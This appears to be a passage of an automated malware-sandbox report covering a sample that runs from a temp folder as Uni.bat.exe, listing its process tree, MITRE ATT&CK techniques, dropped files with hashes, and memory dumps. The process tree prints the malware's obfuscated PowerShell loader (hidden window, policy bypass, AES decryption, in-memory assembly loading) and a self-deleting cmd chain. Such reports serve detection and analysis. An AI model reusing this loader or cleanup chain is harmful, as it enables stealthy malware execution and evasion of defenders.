  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe
      "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function fVoxT($oPFNE){ $iLIer=[System.Security.Cryptography.Aes]::Create(); $iLIer.Mode=[System.Security.Cryptography.CipherMode]::CBC; $iLIer.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $iLIer.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('reBXu8mWH2aPSY80rUiY+qal9/pmltEFd4YzecO07u8='); $iLIer.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SCYRvuoYNjwRzXky6x630g=='); $APXpI=$iLIer.CreateDecryptor(); $return_var=$APXpI.TransformFinalBlock($oPFNE, 0, $oPFNE.Length); $APXpI.Dispose(); $iLIer.Dispose(); $return_var;}function WmmYx($oPFNE){ $toQfi=New-Object System.IO.MemoryStream(,$oPFNE); $LIvgb=New-Object System.IO.MemoryStream; $Glywg=New-Object System.IO.Compression.GZipStream($toQfi, [IO.Compression.CompressionMode]::Decompress); $Glywg.CopyTo($LIvgb); $Glywg.Dispose(); $toQfi.Dispose(); $LIvgb.Dispose(); $LIvgb.ToArray();}function AHAKZ($oPFNE,$XBFqp){ $TaiwF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$oPFNE); $JZvRO=$TaiwF.EntryPoint; $JZvRO.Invoke($null, $XBFqp);}$ZxJef=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat').Split([Environment]::NewLine);foreach ($faxqr in $ZxJef) { if ($faxqr.StartsWith('SEROXEN')) { $MyVZJ=$faxqr.Substring(7); break; }}$tSYrU=[string[]]$MyVZJ.Split('\');$WdICd=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[0])));$eFigo=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[1])));AHAKZ $eFigo (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));AHAKZ $WdICd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1188
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d890746e-e867-4bee-81f5-eb20ba369a45}
        5⤵
        
        PID:5016
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{3788f5bb-845c-4a21-9dae-f646547a5646}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2444
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{58aee214-39c1-47c4-931a-ceeab4bcb393}
        5⤵
        
        PID:5236
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & exit
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3412
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5308
      - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2016
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"
        6⤵
        Kills process with taskkill
        
        PID:1388
      - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"
        6⤵
        Views/modifies file attributes
        
        PID:5224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3548

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3916

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2184

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2152

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2728

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4800

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2792

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2156

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1176

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:2392

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5936
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5636 -ip 5636
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:2428
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 636 -p 5792 -ip 5792
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER46C8.tmp.csv

Filesize
42KB

MD5
912930d8881b21e5e82fc75ae178ec8e

SHA1
ff71267d17537cd311b761d558badfa12a5e6ee3

SHA256
eb8a831f05706ba9c1055f52eac62572b2519f5f290f484bbc9fc927d9ca36f8

SHA512
3e5ffc69f02b5e0d7bd87cb19a3f04f2eb569755140925558fc447ae2a12dde3b6123c4c5fc6ba9b4d437c5c2f71c39668bc2d90d3d62514e6eca444ed651ae4

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER46E8.tmp.txt

Filesize
13KB

MD5
1230b87939de42f593775ce7f7f2f684

SHA1
6c1a09995c0d1d755793525f5aa8202327bb28b6

SHA256
335ab573292b4d5bef90592f30f1bd8eaa245a9a55b765408c27a629a46d919e

SHA512
74e16e42f6044e423d29a4d602401c7e48e3cf44802c0983e4d163f64ac396ec45fe64d110e3c2e7c0f7d41c70da433a183b2ad7492538597f70b5ab585986b5

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER492B.tmp.csv

Filesize
41KB

MD5
25ffa9c8b7be57d4aad23583fcf16343

SHA1
4e77d02d6e6c966fcfb036c93e68040a6e30dcf0

SHA256
c5e2e501ca86ba880390c808c6aa5f07baa7872be40e2278ffe4b9697b42da26

SHA512
d063d6a175d9ae35d04c244952e17b927141d7c90310d4600abae6c7251df18ed0cfdebfd16ab089728094ded9961b87e6685e581f33f008d49f6aebd0f30b6f

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER495B.tmp.txt

Filesize
13KB

MD5
322e34fce0075447d054088dfdf51894

SHA1
20815952cae04de12ded06426e0f4351721a4062

SHA256
103e73328688ccae4f8235ab7d3300fb41d6ad6a1ec9ca3c2d199f0d1ec2ae4b

SHA512
fa672a276712ee6722375ce43823f82d97a87fea5fe2004bf49ae0e5e993593f4876715bec37cd4aa0c65b9e4657aec7b4062c7df6d40c48f5db6f89e0bbebeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat

Filesize
12.5MB

MD5
a4f9a8d05619cb7bcd36de94cce00098

SHA1
fd23538b08c68e5b1229fb6cff001153842ebdad

SHA256
6db8ff4761350cce286a0d448258b05bf0575c3a751b5a4efb6957ef691e167b

SHA512
0ec6e105196b4ad72085b5e0a515620aabb7167a3932fcc0500ac34e184cabbf24a03242a7cbf66937e043ddd467aa5aa1cbe24a01f57a80b83376057805a809

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_11rxbqam.i4m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/332-121-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/332-113-0x00000241CC140000-0x00000241CC167000-memory.dmp

Filesize
156KB

Download
memory/616-119-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/616-108-0x000002B78E870000-0x000002B78E892000-memory.dmp

Filesize
136KB

Download
memory/616-112-0x000002B78E8A0000-0x000002B78E8C7000-memory.dmp

Filesize
156KB

Download
memory/688-134-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/688-117-0x00000236B9750000-0x00000236B9777000-memory.dmp

Filesize
156KB

Download
memory/1188-21-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-20-0x000001C42FA20000-0x000001C42FA44000-memory.dmp

Filesize
144KB

Download
memory/1188-1642-0x00007FFEC1730000-0x00007FFEC21F1000-memory.dmp

Filesize
10.8MB

Download
memory/1188-28-0x000001C42FA40000-0x000001C42FA62000-memory.dmp

Filesize
136KB

Download
memory/1188-1640-0x00007FFED1903000-0x00007FFED1904000-memory.dmp

Filesize
4KB

Download
memory/1188-7-0x00007FFEC1733000-0x00007FFEC1735000-memory.dmp

Filesize
8KB

Download
memory/1188-13-0x000001C42FB10000-0x000001C42FB32000-memory.dmp

Filesize
136KB

Download
memory/1188-40-0x00007FFEC1730000-0x00007FFEC21F1000-memory.dmp

Filesize
10.8MB

Download
memory/1188-29-0x00007FFEC1733000-0x00007FFEC1735000-memory.dmp

Filesize
8KB

Download
memory/1188-30-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-32-0x000001C42FA60000-0x000001C42FA6A000-memory.dmp

Filesize
40KB

Download
memory/1188-27-0x000001C44AF50000-0x000001C44AFA8000-memory.dmp

Filesize
352KB

Download
memory/1188-26-0x000001C44AEF0000-0x000001C44AF44000-memory.dmp

Filesize
336KB

Download
memory/1188-25-0x000001C44AE40000-0x000001C44AEE6000-memory.dmp

Filesize
664KB

Download
memory/1188-23-0x000001C44A3F0000-0x000001C44AE3C000-memory.dmp

Filesize
10.3MB

Download
memory/1188-22-0x00007FFEDEF90000-0x00007FFEDF04E000-memory.dmp

Filesize
760KB

Download
memory/1188-34-0x00007FFEC1730000-0x00007FFEC21F1000-memory.dmp

Filesize
10.8MB

Download
memory/1188-19-0x00007FFEC1730000-0x00007FFEC21F1000-memory.dmp

Filesize
10.8MB

Download
memory/1188-18-0x00007FFEC1730000-0x00007FFEC21F1000-memory.dmp

Filesize
10.8MB

Download
memory/2444-39-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/2444-37-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/2460-102-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2460-99-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2460-104-0x00000000001D0000-0x00000000001EA000-memory.dmp

Filesize
104KB

Download
memory/2460-100-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3308-106-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/3308-95-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/3308-96-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/3308-97-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3308-98-0x00007FFEDEF90000-0x00007FFEDF04E000-memory.dmp

Filesize
760KB

Download
memory/3788-79-0x0000015BEFE40000-0x0000015BEFEF2000-memory.dmp

Filesize
712KB

Download
memory/3788-69-0x0000015BED170000-0x0000015BED192000-memory.dmp

Filesize
136KB

Download
memory/3788-90-0x0000015BEFD80000-0x0000015BEFDBC000-memory.dmp

Filesize
240KB

Download
memory/3788-93-0x00007FFEDEF90000-0x00007FFEDF04E000-memory.dmp

Filesize
760KB

Download
memory/3788-91-0x0000015BEFCE0000-0x0000015BEFD2E000-memory.dmp

Filesize
312KB

Download
memory/3788-80-0x0000015BF00D0000-0x0000015BF0292000-memory.dmp

Filesize
1.8MB

Download
memory/3788-94-0x0000015BEFDC0000-0x0000015BEFDF6000-memory.dmp

Filesize
216KB

Download
memory/3788-78-0x0000015BEFD30000-0x0000015BEFD80000-memory.dmp

Filesize
320KB

Download
memory/3788-70-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3788-92-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3788-68-0x0000015BF8AD0000-0x0000015BF8B82000-memory.dmp

Filesize
712KB

Download
memory/3788-67-0x0000015BF8690000-0x0000015BF8ACE000-memory.dmp

Filesize
4.2MB

Download
memory/3788-66-0x0000015BF7EC0000-0x0000015BF868A000-memory.dmp

Filesize
7.8MB

Download
memory/3788-65-0x0000015BEF760000-0x0000015BEFCE4000-memory.dmp

Filesize
5.5MB

Download
memory/3788-63-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3788-64-0x00007FFEDEF90000-0x00007FFEDF04E000-memory.dmp

Filesize
760KB

Download
memory/4340-36-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4340-33-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download